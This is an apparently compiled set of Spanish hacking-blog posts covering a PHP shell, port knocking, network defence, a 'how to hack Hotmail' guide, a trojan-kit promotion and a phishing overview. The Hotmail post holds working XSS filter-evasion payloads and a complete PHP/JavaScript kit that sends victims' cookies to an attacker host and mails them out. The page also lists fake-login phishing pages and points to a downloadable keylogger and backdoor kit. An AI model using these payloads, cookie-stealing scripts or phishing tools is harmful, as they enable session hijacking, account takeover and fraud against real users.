La verdad la autentificacion es un queso, pero al menos la complicamos un poco, por cierto pueden generar sus propias cuentas utilizando la funcion md5()
<?php
if(!isset($_GET["string"])){
echo '
<form action=md5.php method=get>
<input type=text name=string>
<input type=submit value=ss>
</form>
';
}else{
echo md5($_GET["string"]);
}
?>
Bueno, creo que hemos llegado al final de este texto, solo me queda decir que esta phpshell se puede mejorar y mucho solo es cuestion de tener un poco mas de imaginacion y practica en php, incluso se puede optimizar de mejor forma utilizando clases y objetos, solo espero que la disfruten como administrador de archivos y no como puerta trasera que se puede llegar a utilizar, bueno ya no me lio mas y me despido.
Pwneds forever!!! =)
Codigo PHP: PHPSHELL
Es una tecnica que consiste en abrir conexiones en puertos cerrados por reglas de firewalls, modificando las reglas dinamicamente al recibir el servidor ciertos datagramas TCP con caracteristicas especiales y dirigidos a los puertos donde se debe hacer la autentificacion.
El objetivo fundamental por el cual se implementa el portknocking es para impedir que un usuario malintencionado pueda tener acceso a un puerto que haya sido detectado por un escaneo de puertos. La gestion de este software se realizar con un firewall especialmente configurado para analizar los datagramas entrantes al sistema, y verificar si tienen un secuencia valida para el portknock daemon.
Este nuevo sistema de seguridad es bastante util para proteger puertos donde se requiere un alto grado de proteccion de servicios. Brinda diferentes tipos de autentificacion basandose en la secuencia de los puertos donde este configurado. Las caracteristicas que dispone frente a su eficiencia de seguridad en redes, es debido a su sistema de cifrado de datos, lo hacen practicamente seguro ante la captura de trafico en una red.
Una de las principales razones por las que, aun no es considerado como una gran herramienta de seguridad, es por que su funcionamiento principal esta basado en la modificacion de reglas en el firewall y su inclusion en el kernel para poder gestionar de manera correcta y eficaz los procesos que dirija, ademas de las consideraciones practicas que implica tenerlo funcionando en un sistema que brinde un servicio.
Actualmente existen varias herramientas especializadas para implementar este sistema de seguridad en nuestros servidores, entre ellos:
Webnocking, como bien dice su nombre, es una aplicacion con interfaz web, con facilidad de uso y mantencion, su critica se la lleva debido a que necesita de un servidor web con soporte PHP para su funcionamiento (lease LAMP).
KnockKnock, es una herramienta para sistemas Windows, de facil manejo y sumamente configurable, en su pagina web encontraran una gran cantidad de documentacion sobre uso.
La facilidad de instalacion y de uso de estas herramientas hacen que la implementacion de este sistema de seguridad sea algo realmente sencillo, brindan la posibilidad de una configuracion avanzada atravez del kernel del sistema y apoyo de seguridad a la autentificacion de nuestros usuarios.
Puesta en marcha:
Proceso de autentificacion:# iptables -A INPUT -p tcp -m state --state NEW -m pknock
--knockports 3442,1335,3334 --name FTP -m tcp --dport 21 -j ACCEPT
$ telnet servidor9 3442 ; telnet servidor9 1335 ; telnet servidor9 3334
Conectado a servidor9.
220---------- Welcome to Pure-FTPd [TLS] ----------
220-You are user number 2 of 50 allowed.
220-Local time is now 05:17. Server port: 21.
220-This is a private system - No anonymous login
220 You will be disconnected after 15 minutes of inactivity.
Usuario (servidor9:(none)):
Un saludo.
http://es.wikipedia.org/wiki/Golpeo_de_puertos
Port Knocking por Jonathan Barajas
Linux Journal: Port Knocking
La seguridad en una red es un aspecto fundamental que siempre debe de ser tomado por el administrador de red, minimizar las oportunidades de que un atacante tenga un acceso a nuestra red es siempre un trabajo arduo y continuo que puede ser automizado utilizando algunas herramientras de codigo abierto y habilidad para optimizarlas en nuestra red.
En general un atacante promedio siempre tiene que cumplir con 5 pasos fundamentales para llevar acabo el ataque, los cuales son:
- Recoleccion de informacion
- Escaneo
- Enumeracion
- Ataque
- Instalacion de backdoor y borrado de huellas
La primer face de recopilacion de informacion es fundamental para impedir el ataque, ya que entre menos informacion sensible de nuestra red le sea proporcionada al atacante, este se vera inmovil ante nuestra red, la ocultacion de banners de nuestros servidores y/o la modificacion de los banners haciendolos pasar por otros y de otras versiones, limitarian el ataque a nulo, debido a que se aprovecharia la seguridad por oscuridad.
Dependiendo de la persistencia de nuestro atacante sera como llegara a la fase de escaneo, el escaneo es una face primordial para la recoleccion de informacion sobre nuestros servicios brindados en alguno de nuestros puertos de servidores y especializar mas el ataque en contra de nuestra red, una de las herramientas mas utilizadas para el escaneo es Network Mapper (nmap), al burlar esta herramienta e impedir que obtenga informacion sobre nuestros servicios, detendria completamente el ataque en un 90%.
En dado caso que el atacante haya obtenido informacion sobre nuestros servicios y decida atacarlos, es necesario tomar las medidas necesarias si nuestra red ha sido vulnerada, la instalacion de IDS y Firewalls es algo de suma prioridad para mantener nuestros servicios estables e impedir que el atacante logre obtener privilegios de administrador, manteniendo los servicios con permisos implementados especialmente enfocados a la seguridad (lease SUID, GUID), y en diferentes nodos de la red, esto limitaria la expansion y total control de nuestra red para el atacante.
Dependiendo de como esten configurados nuestro Firewall e IDS y como se encuentren ubicados en nuestra red, impediran el abuso de nuestros servicios en la red, la instalacion de proyectos especializados en seguridad automatizan y optimizan la seguridad en la red, el proyecto OSSIM, es uno de los mas reconocidos por su alto grado de especializacion y facilidad de uso.
En dado caso que nuestra red haya sido comprometida y nuestro sistema de seguridad haya fallado, es necesario contar con todo tipo de respaldos sobre nuestra informacion, y procurar que nuestros servidores se encuentren aislados para evitar el compromiso total de la red, la implementacion de una zona desmilitarizada para funciones especiales y de alta prioridad de la red, se vuelve un caso obligatorio.
Despues del ataque es necesario realizar un analisis forense sobre el sistema que fue comprometido, lo primordial es separarlo de la red para evitar que sea atacado nuevamante en caso de que tenga una puerta trasera, por conseguiente es necesario revisar todos los archivos que hayan sido modificados durante el ataque, hacer un analisis detallado de los logs del sistema y verificar los que hayan sido alterados por el atacante, dependiendo de que tanta informacion se desee recolectar del atacante seran los procesos que se deban seguir, en caso de que los logs no nos brinden mucha informacion, sera necesario un dumpeado de la memoria del ordenador atacado para especular sobre los pasos del atacante en nuestro sistema.
El tema da para mucho mas, y espero continuarlo en otro post, mientras tanto es todo por el momento.
Introduction to Network Security
Microsoft TechNet: Seguridad en red y perimetral
esdebian.org: Guia de Seguriad en Red
Asi como ya comente en esta entrada, blogger es suceptible a ataques XSS, pero eso no lo descubri yo, anteriormente ya lo habia hecho otro usuario del prestigioso foro sla.ckers, yo solo de igual forma que el lo descubri por error, y por supuesto no pienso publicar todas las etiquetas malformadas que dieron positivo en las pruebas, ya que eso le costaria la cabeza a mi blog, pero si te quieres enterar por donde van los tiros, puedes mirar dentro de mi. =)
Hacia tiempo tenia ganas de hacer este post, debido a que mucha gente me pregunta como hackear cuentas de correo de hotmail, y la verdad que este tipo de tecnicas no se les puede llamar en si "hacking" aunque tratare de ampliarme lo mas que pueda en XSS Hotmail y el uso de lanzadores o fakemail.
Tengo que aclarar que yo no soy ningun experto en esto y fracamente nunca me ha interesado saber como se consiguen la contrase~a de un correo, si no, que solo me dio curiosidad de saber como hacen este tipos de cosas y cobran bastante bien (lease renthackers).
Aqui voy a tratar temas quizas un poco complejos para la gente que no esta familiarizada con este tipo de cosas, pero que son a las que mas les interesa el tema.
- Fakemail creacion y uso
- XSS Hotmail busqueda y explotacion
Los fakemails o lanzadores, no son mas que paginas de login falsas, especialmente creadas para el robo de credenciales legitimas de una entidad electronica, entiendase que los fake no solo son aplicables en entidades de correo electronico, si no que tambien son aplicables a paginas de otro tipo de entidad, en donde sea factible el robo de credenciales.
Existen en internet paginas especialmente dedicadas al uso de este tipos de fake, de facil uso y bastante efectivas, los lanzadores proporcionados son de distintos tipos, pueden ser de los que capturan el password y lo envia al correo del atacante, de los que capturan el password y el atacante tiene que entrar de nuevo a la pagina por el password, o bien paginas que no hacen nada y se quedan con el password para diferentes propositos, ya sea para listas de spam, busqueda de informacion sensible en los correos, distribuir correo basura desde la cuenta.
- zoftwarez.net/fakez/
- Fake terra
- Invitacion MSN
- MSN Error
- Postales Bubba
- Postales gusanito
- Fake contacto
- Poemas
Es impresionante como estos scripts en PHP esta libremente distribuidos por el internet, y estan al alcance de cualquier usuario que este dispuesto a pasar una tarde en su instalacion y modo de empleo.
=================
XSS Hotmail busqueda y explotacion
Encontrar una vulnerabilidad XSS en hotmail no es dificil y tampoco es cosa del otro mundo, utilizando algunas opciones avanzadas de Google en cuestion de segundos tendremos a nuestro alcance un gran banco de pruebas para intentar sacar un XSS
La busqueda de de este tipo de vulnerabilidades es muy sencilla, utilizando los filtros de Google "inurl" y el filtro "site" podemos encontrar muchisimas paginas en las que podemos intentar buscar alguna vulnerabilidad en cualquiera de las varibles pasadas por el metodo GET por URL.
La explotacion de las vulnerabilidades es de igual forma muy sencilla, utilizando entradas especialmente modificadas para saltarse los filtros que han implementado los de hotmail para evitar este tipo de ataques contra sus usuarios, en general se utilizan entradas malformadas basadas en javascripts por ejemplo:
< src="javas&\#09;cript:alert(document.cookie);">
/*NOTA: Agregar a la linea anterior la etiqueta IMG, al parecer Blogger lanzo sus filtros contra mi =P*/
Utilizando la etiqueta IMG de HTML se explota su argumento SRC introduciendole una funcion javascripts para mostrarnos la cookie de la pagina actual, la formacion de este tipo de entradas se puede modificar de manera sencilla, normalmente se pasan algunos caracteres de la entrada a su equivalente en ASCII para evitar que sea detectada por los filtros de hotmail y el navegador web pueda interpretarla sin problemas.
Para realizar ataques un poco mas avanzados que realicen la funcion, que en cuanto se abra el correo electronico, dado como exito el ataque, es utilizando la funcion javascripts document.location.replace() y el uso de diferentes etiquetas HTML, como pueden ser:
- img src="" dynsrc="javascript:alert('XSS');"
- input src="javascript:alert('XSS');" type="image"
- meta equiv="refresh" content="0;url=javascript:alert('XSS');"
- BR SIZE="&{alert('XSS')}"
img src="jAvascrIpt:document.location.replace('http://atacante.com/xploit.js?'+docum
ent.cookie)"
La edicion de esta cadena se puede modificar facilmente, la explotacion automatica de este tipo de vulnerabilidades estan basadas en ciertos xploits que estan distribuibles libremente por el internet, aqui solo me remitire a explicar el uso de uno.
--------INDEX.PHP------------------
<\html\>
<\body\>
<\iframe src="http://ATACANTE.COM/HOTMAIL/ind.php" width="10" height="10" \>
link
<\/iframe\>
--------------------------------------
-------IND.PHP-----------------------------
$mysite = "http://ATACANTE/HOTMAIL/nice.js";
$xpl = "http://VICTIMA.COM/variable=%3C/script%3E%20%22%3E%3Cscript%20src%3Dhttp%3A//ATACANTE.COM/HOTMAIL/nice.js%3E%3C/script%3E";
print'
<\body\>
<\ meta equiv="Refresh" content="1; URL='.$xpl.'" \>
';
?>
---------------------------------------------
------LOG.PHP----------------------------
$cookie = $_GET['nice'];
$ip = getenv("REMOTE_ADDR");
$Time = date("l dS of F Y h:i:s A");
$msg = "Cookie: $cookie\nIP Address: $ip\Time: $Time";
$subject = "cookie";
mail("mail@atacante.com", $subject, $msg);
header ("location: asd.gif");
?>
--------------------------------------------
---------NICE.JS--------------------------
location.href='http://ATACANTE/HOTMAIL/log.php?nice='+escape(document.cookie)
-------------------------------------------
El uso del exploit es muy sencillo, y facilmente se puede poner en practica, son archivos PHP que en base de un archivo javascripts explotan esta vulnerabilidad y logran obtener la preciada cookie para despues enviar al correo del atacante y este pueda ingresar a la cuenta de la victima.
NOTA: En la edicion de este post me pude percatar de como blogger edito automaticamente algunas cadenas modificadas que habia puesto a modo de ejemplo, y otras que no me edito y que me mostraron la cookie de mis credenciales en blogger, esto demuestra que hasta paginas tan importantes como estas pueden ser vulnerables a este tipo de ataques, oviamente las entradas que ocasionaron estos errores no fueron publicadas y que seran el motivo de un futuro post.
Suerte y hasta la proxima.
xploit
Aun me acuerdo de aquellos tiempo en que si querias un troyano lo programabas tu mismo ya sea con unas caracteristicas muy modestas o muy avanzadas, actualmente eso ya quedo en el pasado, existen en internet ciertos kit's de creacion de troyanos, el llamado Pinch Kit.
Con este tipo de kit's de desarrollo se pueden crear troyanos realmente muy personalizables, hacia tiempo ya, recuerdo que habia kit's para crear virus, bueno pues este es identico, pero con el simple hecho que puedes crear virus realmente muy avanzados y con la peculariedad de que se escapan de vista a la heuristica de los antivirus.
El kit, cuenta con las siguientes caracteristicas:
- Servidor SMTP
- Comunicacion atravez de diferentes clientes de IM y servidores FTP
- Empaquetado y cifrado del ejecutable
- Diferentes opciones de comportamiento
- Ocultacion avanzada del proceso
- Cifrado de email con password
- Opciones de keyloger y spyware
- Opciones de backdoor, para usar a la victima como plataforma de ataque
- Leer mas
http://pro-hack.ru/
Mas informacion:
http://noticiastech.com/
http://arstechnica.com/
http://blogs.pandasoftware.com/
Descarga
El phishing como tema en si, es muy amplio y complicado, aqui tratare de manera muy general explicar algunas tecnicas utilizadas y las herramientas empleadas.
El phishing es un conjunto de tecnicas utilizadas para suplantar una entidad en internet y estafar a sus usuarios, por lo general siempre estan basadas en vulnerabilidades de los navegadores web para poder llevar a cabo la suplantacion con exito, o incluso sin necesidad de una vulnerabilidad se pueden llevar a cabo, una tecnica muy usada es el DNS Spoof el cual se usa para modificar la tabla de DNS de un ISP y de esta forma es sencillamente suplantar una entiendad, cuando se usa esta tecnica al proceso se le denomina PHARMING, de igual forma se usa el termino cuando se usa algun software externo para cumplir con el objetivo.
Entre los software externos se pueden usar los virus troyanos, que son muy usados por phishers para poder cumplir con sus objetivos, por lo general estos troyanos gozan con la caracteristica de ser keylogers y de esta forma capturar las cuentas de los usuarios, existen por internet troyanos programados para este fin en especial, contando con caracteristicas como la captura de teclas, modificacion del archivo hosts, captura de pantalla, sniffing de trafico, pero aun asi hay troyanos aun mas avanzados utilizados con el unico fin de usar a las victimas como plataforma de ataque, facilitando enormemente el trabajo del phisher, ya que podra realizar otro tipos de tecnicas sin la preocupacion de ocultarse atraves de proxys anonimos o las redes tor.
La industria virica entra en gran enfoque debido a que es utilizada para este fin, software's como malware, worms y troyanos son muchas veces usados como herramientras alternativas para un phisher, en general los phishers no tienen conocimientos profundos sobre la programacion de virus, por eso se ayudan de los servicios de gente que si conoce la escena para cumplir con sus objetivos.
Entre las herramientras mas usadas por un phisher para atraer victimas estan:
- Remailer
- Scam
- Phpshell
- Una vulnerabilidad
Scam: el scam es un herramienta utilizada para atraer victimas con falsas promesas, ya sea de trabajo o de dinero gratis, a las victimas se les denomina muleros, los muleros son el objetivo central del phisher, debido a que seran a ellos los que haran el fraude y seran a ellos a quienes sentenciaran.
Al mulero se le proporciona informacion sobre como debe de realizar su trabajo al igual que herramientas para realizarlo, la mayoria de muleros, son utilizados por el phisher para enviar correos electronicos de manera masiva e interactuar con la victima del fraude, el mulero recibe una peque~a porcion del fraude para motivarlos a seguir realizando las peticiones del phisher y de esta forma ser parte del fraude sin que este lo sepa.
Phpshell: Una shell en php no es mas que un script con el cual se puede administrar un servidor y optener privilegios sobre sus archivos, utilizan esta herramienta que en ocasiones se usa para explotar una vulnerabilidad RFI, se usa para poder subir un scam y un remailer al servidor y poder realizar los ataques a las victimas.
Una vulnerabilidad: Como ya mencione en este post, las vulnerabilidades entran en juego en las estafas en internet, existen infinidad de vulnerabilidades sobre navegadores webs, sistemas operativos, servidores, lenguajes.
La mayoria de ataques de phishing utilizan alguna vulnerabilidad web ya sea para falcificar la URL del navegador web o para instalar software en la victima.
Este articulo sera continuado en otro post continuo, debido a lo extenso del tema, y sobre los objetivos que espero tratar en el.
Hasta la proxima.
TEMAS FALTANTES:
- Equipos de phishing
- Phishig kit
- Modo de operacion del phishing / practica
- Analizando una entidad falsa / practica
- A la caza del phisher
- Descarga de herramientas
- Conclusiones finales